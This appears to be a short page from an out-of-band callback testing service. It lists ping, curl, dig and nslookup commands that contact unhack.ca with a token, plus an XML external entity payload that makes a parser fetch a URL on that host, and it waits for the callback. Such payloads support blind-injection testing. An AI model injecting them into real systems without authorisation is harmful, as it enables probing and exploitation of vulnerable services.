$ ping -c1 -p 00f8306f1023b70edfffd72bdb95b100 unhack.ca
 
$ curl http://unhack.ca/p/f8306f1023b70edfffd72bdb95b1
 
$ dig f8306f1023b70edfffd72bdb95b1 @unhack.ca
 
$ dig f8306f1023b70edfffd72bdb95b1.ns.unhack.ca
 
C:\> nslookup f8306f1023b70edfffd72bdb95b1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f8306f1023b70edfffd72bdb95b1">]>
    <foo>&xxe;</foo>
Waiting for ping...